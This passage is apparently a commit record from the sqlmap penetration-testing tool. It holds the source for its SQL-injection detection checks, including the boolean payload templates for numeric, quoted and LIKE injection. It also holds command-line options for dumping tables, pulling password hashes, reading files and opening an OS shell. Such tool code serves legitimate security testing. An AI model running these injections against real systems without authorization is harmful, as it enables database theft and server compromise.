is stable. In case the content of the page differs when requesting the same page, the dynamicity might depend on other parameters, like for instance string matching(--string). \"\"\" infoMsg=\"testing if the url is stable, wait a few seconds\" logger.info(infoMsg) firstPage, firstHeaders=Request.queryPage(content=True) time.sleep(0.5) secondPage, secondHeaders=Request.queryPage(content=True) time.sleep(0.5) thirdPage, thirdHeaders=Request.queryPage(content=True) condition =firstPage==secondPage condition &=secondPage==thirdPage if condition==False: warnMsg =\"url is not stable, sqlmap will base the page \" warnMsg +=\"comparison on a sequence matcher, if no dynamic nor \" warnMsg +=\"injectable parameters are detected, refer to user's \" warnMsg +=\"manual paragraph 'Page comparison' and provide a \" warnMsg +=\"string or regular expression to match on\" logger.warn(warnMsg) if condition==True: logMsg=\"url is stable\" logger.info(logMsg) return condition def checkString(): if not conf.string: return True condition=( kb.resumedQueries.has_key(conf.url) and kb.resumedQueries[conf.url].has_key(\"String\") and kb.resumedQueries[conf.url][\"String\"][:-1]==conf.string ) if condition: return True infoMsg =\"testing if the provided string is within the \" infoMsg +=\"target URL page content\" logger.info(infoMsg) page, _=Request.queryPage(content=True) if conf.string in page: setString() return True else: errMsg =\"you provided '%s' as the string to \" % conf.string errMsg +=\"match, but such a string is not within the target \" errMsg +=\"URL page content, please provide another string.\" logger.error(errMsg) return False def checkRegexp(): if not conf.regexp: return True condition=( kb.resumedQueries.has_key(conf.url) and kb.resumedQueries[conf.url].has_key(\"Regular expression\") and kb.resumedQueries[conf.url][\"Regular expression\"][:-1]==conf.regexp ) if condition: return True infoMsg =\"testing if the provided regular expression matches within \" infoMsg +=\"the target URL page content\" logger.info(infoMsg) page, _=Request.queryPage(content=True) if re.search(conf.regexp, page, re.I | re.M): setRegexp() return True else: errMsg =\"you provided '%s' as the regular expression to \" % conf.regexp errMsg +=\"match, but such a regular expression does not have any \" errMsg +=\"match within the target URL page content, please provide \" errMsg +=\"another regular expression.\" logger.error(errMsg) return False def checkConnection(): infoMsg=\"testing connection to the target url\" logger.info(infoMsg) try: page, _=Request.getPage() conf.seqMatcher.set_seq1(page) except sqlmapConnectionException, exceptionMsg: if conf.multipleTargets: exceptionMsg +=\", skipping to next url\" logger.warn(exceptionMsg) return False else: raise sqlmapConnectionException, exceptionMsg return True ", "sourceWithComments": "#!/usr/bin/env python\n\n\"\"\"\n$Id$\n\nThis file is part of the sqlmap project, http://sqlmap.sourceforge.net.\n\nCopyright (c) 2006-2008 Bernardo Damele A. G. \n and Daniele Bellucci \n\nsqlmap is free software; you can redistribute it and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation version 2 of the License.\n\nsqlmap is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more\ndetails.\n\nYou should have received a copy of the GNU General Public License along\nwith sqlmap; if not, write to the Free Software Foundation, Inc., 51\nFranklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\"\"\"\n\n\n\nimport re\nimport time\n\nfrom lib.controller.action import action\nfrom lib.core.agent import agent\nfrom lib.core.common import randomInt\nfrom lib.core.common import randomStr\nfrom lib.core.data import conf\nfrom lib.core.data import kb\nfrom lib.core.data import logger\nfrom lib.core.exception import sqlmapConnectionException\nfrom lib.core.session import setString\nfrom lib.core.session import setRegexp\nfrom lib.request.connect import Connect as Request\n\n\ndef checkSqlInjection(place, parameter, value, parenthesis):\n \"\"\"\n This function checks if the GET, POST, Cookie, User-Agent\n parameters are affected by a SQL injection vulnerability and\n identifies the type of SQL injection:\n\n * Unescaped numeric injection\n * Single quoted string injection\n * Double quoted string injection\n \"\"\"\n\n randInt = randomInt()\n randStr = randomStr()\n\n if conf.prefix or conf.postfix:\n prefix = \"\"\n postfix = \"\"\n\n if conf.prefix:\n prefix = conf.prefix\n\n if conf.postfix:\n postfix = conf.postfix\n\n infoMsg = \"testing custom injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s%s%s AND %s%d=%d %s\" % (value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt, postfix))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s%s%s AND %s%d=%d %s\" % (value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt + 1, postfix))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming custom injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s%s%s AND %s%s %s\" % (value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randStr, postfix))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"custom injectable \"\n logger.info(infoMsg)\n\n return \"custom\"\n\n infoMsg = \"testing unescaped numeric injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s%s AND %s%d=%d\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s%s AND %s%d=%d\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt + 1))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming unescaped numeric injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s%s AND %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"unescaped numeric injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"numeric\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"unescaped numeric injectable\"\n logger.info(infoMsg)\n\n infoMsg = \"testing single quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s'%s AND %s'%s'='%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s'%s AND %s'%s'='%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr + randomStr(1)))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming single quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s'%s and %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"single quoted string injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"stringsingle\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"single quoted string injectable\"\n logger.info(infoMsg)\n\n infoMsg = \"testing LIKE single quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s'%s AND %s'%s' LIKE '%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s'%s AND %s'%s' LIKE '%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr + randomStr(1)))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming LIKE single quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s'%s and %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"LIKE single quoted string injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"likesingle\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"LIKE single quoted string injectable\"\n logger.info(infoMsg)\n\n infoMsg = \"testing double quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\"=\\\"%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\"=\\\"%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr + randomStr(1)))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming double quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"double quoted string injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"stringdouble\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"double quoted string injectable\"\n logger.info(infoMsg)\n\n infoMsg = \"testing LIKE double quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\" LIKE \\\"%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\" LIKE \\\"%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr + randomStr(1)))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming LIKE double quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s\\\"%s and %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"LIKE double quoted string injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"likedouble\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"LIKE double quoted string injectable\"\n logger.info(infoMsg)\n\n return None\n\n\ndef checkDynParam(place, parameter, value):\n \"\"\"\n This function checks if the url parameter is dynamic. If it is\n dynamic, the content of the page differs, otherwise the\n dynamicity might depend on another parameter.\n \"\"\"\n\n infoMsg = \"testing if %s parameter '%s' is dynamic\" % (place, parameter)\n logger.info(infoMsg)\n\n randInt = randomInt()\n payload = agent.payload(place, parameter, value, str(randInt))\n dynResult1 = Request.queryPage(payload, place)\n\n if True == dynResult1:\n return False\n\n infoMsg = \"confirming that %s parameter '%s' is dynamic\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"'%s\" % randomStr())\n dynResult2 = Request.queryPage(payload, place)\n\n payload = agent.payload(place, parameter, value, \"\\\"%s\" % randomStr())\n dynResult3 = Request.queryPage(payload, place)\n\n condition = True != dynResult2\n condition |= True != dynResult3\n\n return condition\n\n\ndef checkStability():\n \"\"\"\n This function checks if the URL content is stable requesting the\n same page three times with a small delay within each request to\n assume that it is stable.\n\n In case the content of the page differs when requesting\n the same page, the dynamicity might depend on other parameters,\n like for instance string matching (--string).\n \"\"\"\n\n infoMsg = \"testing if the url is stable, wait a few seconds\"\n logger.info(infoMsg)\n\n firstPage, firstHeaders = Request.queryPage(content=True)\n time.sleep(0.5)\n\n secondPage, secondHeaders = Request.queryPage(content=True)\n time.sleep(0.5)\n\n thirdPage, thirdHeaders = Request.queryPage(content=True)\n\n condition = firstPage == secondPage\n condition &= secondPage == thirdPage\n\n if condition == False:\n warnMsg = \"url is not stable, sqlmap will base the page \"\n warnMsg += \"comparison on a sequence matcher, if no dynamic nor \"\n warnMsg += \"injectable parameters are detected, refer to user's \"\n warnMsg += \"manual paragraph 'Page comparison' and provide a \"\n warnMsg += \"string or regular expression to match on\"\n logger.warn(warnMsg)\n\n if condition == True:\n logMsg = \"url is stable\"\n logger.info(logMsg)\n\n return condition\n\n\ndef checkString():\n if not conf.string:\n return True\n\n condition = (\n kb.resumedQueries.has_key(conf.url) and\n kb.resumedQueries[conf.url].has_key(\"String\") and\n kb.resumedQueries[conf.url][\"String\"][:-1] == conf.string\n )\n\n if condition:\n return True\n\n infoMsg = \"testing if the provided string is within the \"\n infoMsg += \"target URL page content\"\n logger.info(infoMsg)\n\n page, _ = Request.queryPage(content=True)\n\n if conf.string in page:\n setString()\n return True\n else:\n errMsg = \"you provided '%s' as the string to \" % conf.string\n errMsg += \"match, but such a string is not within the target \"\n errMsg += \"URL page content, please provide another string.\"\n logger.error(errMsg)\n\n return False\n\n\ndef checkRegexp():\n if not conf.regexp:\n return True\n\n condition = (\n kb.resumedQueries.has_key(conf.url) and\n kb.resumedQueries[conf.url].has_key(\"Regular expression\") and\n kb.resumedQueries[conf.url][\"Regular expression\"][:-1] == conf.regexp\n )\n\n if condition:\n return True\n\n infoMsg = \"testing if the provided regular expression matches within \"\n infoMsg += \"the target URL page content\"\n logger.info(infoMsg)\n\n page, _ = Request.queryPage(content=True)\n\n if re.search(conf.regexp, page, re.I | re.M):\n setRegexp()\n return True\n else:\n errMsg = \"you provided '%s' as the regular expression to \" % conf.regexp\n errMsg += \"match, but such a regular expression does not have any \"\n errMsg += \"match within the target URL page content, please provide \"\n errMsg += \"another regular expression.\"\n logger.error(errMsg)\n\n return False\n\n\ndef checkConnection():\n infoMsg = \"testing connection to the target url\"\n logger.info(infoMsg)\n\n try:\n page, _ = Request.getPage()\n conf.seqMatcher.set_seq1(page)\n\n except sqlmapConnectionException, exceptionMsg:\n if conf.multipleTargets:\n exceptionMsg += \", skipping to next url\"\n logger.warn(exceptionMsg)\n\n return False\n else:\n raise sqlmapConnectionException, exceptionMsg\n\n return True\n"}, "/lib/parse/cmdline.py": {"changes": [{"diff": "\n \"be used to enumerate the back-end database \"\n \"management system information, structure \"\n \"and data contained in the tables. Moreover \"\n- \"you can run your own SQL SELECT queries.\")\n+ \"you can run your own SQL statements.\")\n \n enumeration.add_option(\"-b\", \"--banner\", dest=\"getBanner\",\n action=\"store_true\", help=\"Retrieve DBMS banner\")\n", "add": 1, "remove": 1, "filename": "/lib/parse/cmdline.py", "badparts": [" \"you can run your own SQL SELECT queries.\")"], "goodparts": [" \"you can run your own SQL statements.\")"]}, {"diff": "\n help=\"Last table entry to dump\")\n \n enumeration.add_option(\"--sql-query\", dest=\"query\",\n- help=\"SQL SELECT query to be executed\")\n+ help=\"SQL statement to be executed\")\n \n enumeration.add_option(\"--sql-shell\", dest=\"sqlShell\",\n action=\"store_true", "add": 1, "remove": 1, "filename": "/lib/parse/cmdline.py", "badparts": [" help=\"SQL SELECT query to be executed\")"], "goodparts": [" help=\"SQL statement to be executed\")"]}], "source": "\n \"\"\" $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright(c) 2006-2008 Bernardo Damele A. G. and Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA \"\"\" import sys from optparse import OptionError from optparse import OptionGroup from optparse import OptionParser from lib.core.data import logger from lib.core.settings import VERSION_STRING def cmdLineParser(): \"\"\" This function parses the command line parameters and arguments \"\"\" usage=\"%s[options]\" % sys.argv[0] parser=OptionParser(usage=usage, version=VERSION_STRING) try: parser.add_option(\"-v\", dest=\"verbose\", type=\"int\", help=\"Verbosity level: 0-5(default 1)\") target=OptionGroup(parser, \"Target\", \"At least one of these \" \"options has to be specified to set the source \" \"to get target urls from.\") target.add_option(\"-u\", \"--url\", dest=\"url\", help=\"Target url\") target.add_option(\"-l\", dest=\"list\", help=\"Parse targets from Burp \" \"or WebScarab logs\") target.add_option(\"-g\", dest=\"googleDork\", help=\"Process Google dork results as target urls\") target.add_option(\"-c\", dest=\"configFile\", help=\"Load options from a configuration INI file\") request=OptionGroup(parser, \"Request\", \"These options can be used \" \"to specify how to connect to the target url.\") request.add_option(\"--method\", dest=\"method\", default=\"GET\", help=\"HTTP method, GET or POST(default: GET)\") request.add_option(\"--data\", dest=\"data\", help=\"Data string to be sent through POST\") request.add_option(\"--cookie\", dest=\"cookie\", help=\"HTTP Cookie header\") request.add_option(\"--referer\", dest=\"referer\", help=\"HTTP Referer header\") request.add_option(\"--user-agent\", dest=\"agent\", help=\"HTTP User-Agent header\") request.add_option(\"-a\", dest=\"userAgentsFile\", help=\"Load a random HTTP User-Agent \" \"header from file\") request.add_option(\"--headers\", dest=\"headers\", help=\"Extra HTTP headers '\\\\n' separated\") request.add_option(\"--auth-type\", dest=\"aType\", help=\"HTTP Authentication type, value: \" \"Basic or Digest\") request.add_option(\"--auth-cred\", dest=\"aCred\", help=\"HTTP Authentication credentials, value: \" \"name:password\") request.add_option(\"--proxy\", dest=\"proxy\", help=\"Use a HTTP proxy to connect to the target url\") request.add_option(\"--threads\", dest=\"threads\", type=\"int\", help=\"Maximum number of concurrent HTTP \" \"requests(default 1)\") request.add_option(\"--delay\", dest=\"delay\", type=\"float\", help=\"Delay in seconds between each HTTP request\") request.add_option(\"--timeout\", dest=\"timeout\", type=\"float\", help=\"Seconds to wait before timeout connection \" \"(default 30)\") injection=OptionGroup(parser, \"Injection\", \"These options can be \" \"used to specify which parameters to test \" \"for, provide custom injection payloads and \" \"how to parse and compare HTTP responses \" \"page content when using the blind SQL \" \"injection technique.\") injection.add_option(\"-p\", dest=\"testParameter\", help=\"Testable parameter(s)\") injection.add_option(\"--dbms\", dest=\"dbms\", help=\"Force back-end DBMS to this value\") injection.add_option(\"--prefix\", dest=\"prefix\", help=\"Injection payload prefix string\") injection.add_option(\"--postfix\", dest=\"postfix\", help=\"Injection payload postfix string\") injection.add_option(\"--string\", dest=\"string\", help=\"String to match in page when the \" \"query is valid\") injection.add_option(\"--regexp\", dest=\"regexp\", help=\"Regexp to match in page when the \" \"query is valid\") injection.add_option(\"--excl-str\", dest=\"eString\", help=\"String to be excluded before calculating \" \"page hash\") injection.add_option(\"--excl-reg\", dest=\"eRegexp\", help=\"Regexp matches to be excluded before \" \"calculating page hash\") techniques=OptionGroup(parser, \"Techniques\", \"These options can \" \"be used to test for specific SQL injection \" \"technique or to use one of them to exploit \" \"the affected parameter(s) rather than using \" \"the default blind SQL injection technique.\") techniques.add_option(\"--stacked-test\", dest=\"stackedTest\", action=\"store_true\", help=\"Test for stacked queries(multiple \" \"statements) support\") techniques.add_option(\"--time-test\", dest=\"timeTest\", action=\"store_true\", help=\"Test for Time based blind SQL injection\") techniques.add_option(\"--union-test\", dest=\"unionTest\", action=\"store_true\", help=\"Test for UNION query(inband) SQL injection\") techniques.add_option(\"--union-use\", dest=\"unionUse\", action=\"store_true\", help=\"Use the UNION query(inband) SQL injection \" \"to retrieve the queries output. No \" \"need to go blind\") fingerprint=OptionGroup(parser, \"Fingerprint\") fingerprint.add_option(\"-f\", \"--fingerprint\", dest=\"extensiveFp\", action=\"store_true\", help=\"Perform an extensive DBMS version fingerprint\") enumeration=OptionGroup(parser, \"Enumeration\", \"These options can \" \"be used to enumerate the back-end database \" \"management system information, structure \" \"and data contained in the tables. Moreover \" \"you can run your own SQL SELECT queries.\") enumeration.add_option(\"-b\", \"--banner\", dest=\"getBanner\", action=\"store_true\", help=\"Retrieve DBMS banner\") enumeration.add_option(\"--current-user\", dest=\"getCurrentUser\", action=\"store_true\", help=\"Retrieve DBMS current user\") enumeration.add_option(\"--current-db\", dest=\"getCurrentDb\", action=\"store_true\", help=\"Retrieve DBMS current database\") enumeration.add_option(\"--is-dba\", dest=\"isDba\", action=\"store_true\", help=\"Detect if the DBMS current user is DBA\") enumeration.add_option(\"--users\", dest=\"getUsers\", action=\"store_true\", help=\"Enumerate DBMS users\") enumeration.add_option(\"--passwords\", dest=\"getPasswordHashes\", action=\"store_true\", help=\"Enumerate DBMS users password hashes(opt: -U)\") enumeration.add_option(\"--privileges\", dest=\"getPrivileges\", action=\"store_true\", help=\"Enumerate DBMS users privileges(opt: -U)\") enumeration.add_option(\"--dbs\", dest=\"getDbs\", action=\"store_true\", help=\"Enumerate DBMS databases\") enumeration.add_option(\"--tables\", dest=\"getTables\", action=\"store_true\", help=\"Enumerate DBMS database tables(opt: -D)\") enumeration.add_option(\"--columns\", dest=\"getColumns\", action=\"store_true\", help=\"Enumerate DBMS database table columns \" \"(req:-T opt:-D)\") enumeration.add_option(\"--dump\", dest=\"dumpTable\", action=\"store_true\", help=\"Dump DBMS database table entries \" \"(req: -T, opt: -D, -C, --start, --stop)\") enumeration.add_option(\"--dump-all\", dest=\"dumpAll\", action=\"store_true\", help=\"Dump all DBMS databases tables entries\") enumeration.add_option(\"-D\", dest=\"db\", help=\"DBMS database to enumerate\") enumeration.add_option(\"-T\", dest=\"tbl\", help=\"DBMS database table to enumerate\") enumeration.add_option(\"-C\", dest=\"col\", help=\"DBMS database table column to enumerate\") enumeration.add_option(\"-U\", dest=\"user\", help=\"DBMS user to enumerate\") enumeration.add_option(\"--exclude-sysdbs\", dest=\"excludeSysDbs\", action=\"store_true\", help=\"Exclude DBMS system databases when \" \"enumerating tables\") enumeration.add_option(\"--start\", dest=\"limitStart\", type=\"int\", help=\"First table entry to dump\") enumeration.add_option(\"--stop\", dest=\"limitStop\", type=\"int\", help=\"Last table entry to dump\") enumeration.add_option(\"--sql-query\", dest=\"query\", help=\"SQL SELECT query to be executed\") enumeration.add_option(\"--sql-shell\", dest=\"sqlShell\", action=\"store_true\", help=\"Prompt for an interactive SQL shell\") filesystem=OptionGroup(parser, \"File system access\", \"These options \" \"can be used to access the back-end database \" \"management system file system taking \" \"advantage of native DBMS functions or \" \"specific DBMS design weaknesses.\") filesystem.add_option(\"--read-file\", dest=\"rFile\", help=\"Read a specific OS file content(only on MySQL)\") filesystem.add_option(\"--write-file\", dest=\"wFile\", help=\"Write to a specific OS file(not yet available)\") takeover=OptionGroup(parser, \"Operating system access\", \"This \" \"option can be used to access the back-end \" \"database management system operating \" \"system taking advantage of specific DBMS \" \"design weaknesses.\") takeover.add_option(\"--os-shell\", dest=\"osShell\", action=\"store_true\", help=\"Prompt for an interactive OS shell \" \"(only on PHP/MySQL environment with a \" \"writable directory within the web \" \"server document root for the moment)\") miscellaneous=OptionGroup(parser, \"Miscellaneous\") miscellaneous.add_option(\"--eta\", dest=\"eta\", action=\"store_true\", help=\"Retrieve each query output length and \" \"calculate the estimated time of arrival \" \"in real time\") miscellaneous.add_option(\"--update\", dest=\"updateAll\", action=\"store_true\", help=\"Update sqlmap to the latest stable version\") miscellaneous.add_option(\"-s\", dest=\"sessionFile\", help=\"Save and resume all data retrieved \" \"on a session file\") miscellaneous.add_option(\"--save\", dest=\"saveCmdline\", action=\"store_true\", help=\"Save options on a configuration INI file\") miscellaneous.add_option(\"--batch\", dest=\"batch\", action=\"store_true\", help=\"Never ask for user input, use the default behaviour\") parser.add_option_group(target) parser.add_option_group(request) parser.add_option_group(injection) parser.add_option_group(techniques) parser.add_option_group(fingerprint) parser.add_option_group(enumeration) parser.add_option_group(filesystem) parser.add_option_group(takeover) parser.add_option_group(miscellaneous) (args, _)=parser.parse_args() if not args.url and not args.list and not args.googleDork and not args.configFile and not args.updateAll: errMsg =\"missing a mandatory parameter('-u', '-l', '-g', '-c' or '--update'), \" errMsg +=\"-h for help\" parser.error(errMsg) return args except(OptionError, TypeError), e: parser.error(e) debugMsg=\"parsing command line\" logger.debug(debugMsg) ", "sourceWithComments": "#!/usr/bin/env python\n\n\"\"\"\n$Id$\n\nThis file is part of the sqlmap project, http://sqlmap.sourceforge.net.\n\nCopyright (c) 2006-2008 Bernardo Damele A. G. \n and Daniele Bellucci \n\nsqlmap is free software; you can redistribute it and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation version 2 of the License.\n\nsqlmap is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more\ndetails.\n\nYou should have received a copy of the GNU General Public License along\nwith sqlmap; if not, write to the Free Software Foundation, Inc., 51\nFranklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\"\"\"\n\n\n\nimport sys\n\nfrom optparse import OptionError\nfrom optparse import OptionGroup\nfrom optparse import OptionParser\n\nfrom lib.core.data import logger\nfrom lib.core.settings import VERSION_STRING\n\n\ndef cmdLineParser():\n \"\"\"\n This function parses the command line parameters and arguments\n \"\"\"\n\n usage = \"%s [options]\" % sys.argv[0]\n parser = OptionParser(usage=usage, version=VERSION_STRING)\n\n try:\n parser.add_option(\"-v\", dest=\"verbose\", type=\"int\",\n help=\"Verbosity level: 0-5 (default 1)\")\n\n # Target options\n target = OptionGroup(parser, \"Target\", \"At least one of these \"\n \"options has to be specified to set the source \"\n \"to get target urls from.\")\n\n target.add_option(\"-u\", \"--url\", dest=\"url\", help=\"Target url\")\n\n target.add_option(\"-l\", dest=\"list\", help=\"Parse targets from Burp \"\n \"or WebScarab logs\")\n\n target.add_option(\"-g\", dest=\"googleDork\",\n help=\"Process Google dork results as target urls\")\n\n target.add_option(\"-c\", dest=\"configFile\",\n help=\"Load options from a configuration INI file\")\n\n\n # Request options\n request = OptionGroup(parser, \"Request\", \"These options can be used \"\n \"to specify how to connect to the target url.\")\n\n request.add_option(\"--method\", dest=\"method\", default=\"GET\",\n help=\"HTTP method, GET or POST (default: GET)\")\n\n request.add_option(\"--data\", dest=\"data\",\n help=\"Data string to be sent through POST\")\n\n request.add_option(\"--cookie\", dest=\"cookie\",\n help=\"HTTP Cookie header\")\n\n request.add_option(\"--referer\", dest=\"referer\",\n help=\"HTTP Referer header\")\n\n request.add_option(\"--user-agent\", dest=\"agent\",\n help=\"HTTP User-Agent header\")\n\n request.add_option(\"-a\", dest=\"userAgentsFile\",\n help=\"Load a random HTTP User-Agent \"\n \"header from file\")\n\n request.add_option(\"--headers\", dest=\"headers\",\n help=\"Extra HTTP headers '\\\\n' separated\")\n\n request.add_option(\"--auth-type\", dest=\"aType\",\n help=\"HTTP Authentication type, value: \"\n \"Basic or Digest\")\n\n request.add_option(\"--auth-cred\", dest=\"aCred\",\n help=\"HTTP Authentication credentials, value: \"\n \"name:password\")\n\n request.add_option(\"--proxy\", dest=\"proxy\",\n help=\"Use a HTTP proxy to connect to the target url\")\n\n request.add_option(\"--threads\", dest=\"threads\", type=\"int\",\n help=\"Maximum number of concurrent HTTP \"\n \"requests (default 1)\")\n\n request.add_option(\"--delay\", dest=\"delay\", type=\"float\",\n help=\"Delay in seconds between each HTTP request\")\n\n request.add_option(\"--timeout\", dest=\"timeout\", type=\"float\",\n help=\"Seconds to wait before timeout connection \"\n \"(default 30)\")\n\n\n # Injection options\n injection = OptionGroup(parser, \"Injection\", \"These options can be \"\n \"used to specify which parameters to test \"\n \"for, provide custom injection payloads and \"\n \"how to parse and compare HTTP responses \"\n \"page content when using the blind SQL \"\n \"injection technique.\")\n\n injection.add_option(\"-p\", dest=\"testParameter\",\n help=\"Testable parameter(s)\")\n\n injection.add_option(\"--dbms\", dest=\"dbms\",\n help=\"Force back-end DBMS to this value\")\n\n injection.add_option(\"--prefix\", dest=\"prefix\",\n help=\"Injection payload prefix string\")\n\n injection.add_option(\"--postfix\", dest=\"postfix\",\n help=\"Injection payload postfix string\")\n\n injection.add_option(\"--string\", dest=\"string\",\n help=\"String to match in page when the \"\n \"query is valid\")\n\n injection.add_option(\"--regexp\", dest=\"regexp\",\n help=\"Regexp to match in page when the \"\n \"query is valid\")\n\n injection.add_option(\"--excl-str\", dest=\"eString\",\n help=\"String to be excluded before calculating \"\n \"page hash\")\n\n injection.add_option(\"--excl-reg\", dest=\"eRegexp\",\n help=\"Regexp matches to be excluded before \"\n \"calculating page hash\")\n\n\n # Techniques options\n techniques = OptionGroup(parser, \"Techniques\", \"These options can \"\n \"be used to test for specific SQL injection \"\n \"technique or to use one of them to exploit \"\n \"the affected parameter(s) rather than using \"\n \"the default blind SQL injection technique.\")\n\n techniques.add_option(\"--stacked-test\", dest=\"stackedTest\",\n action=\"store_true\",\n help=\"Test for stacked queries (multiple \"\n \"statements) support\")\n\n techniques.add_option(\"--time-test\", dest=\"timeTest\",\n action=\"store_true\",\n help=\"Test for Time based blind SQL 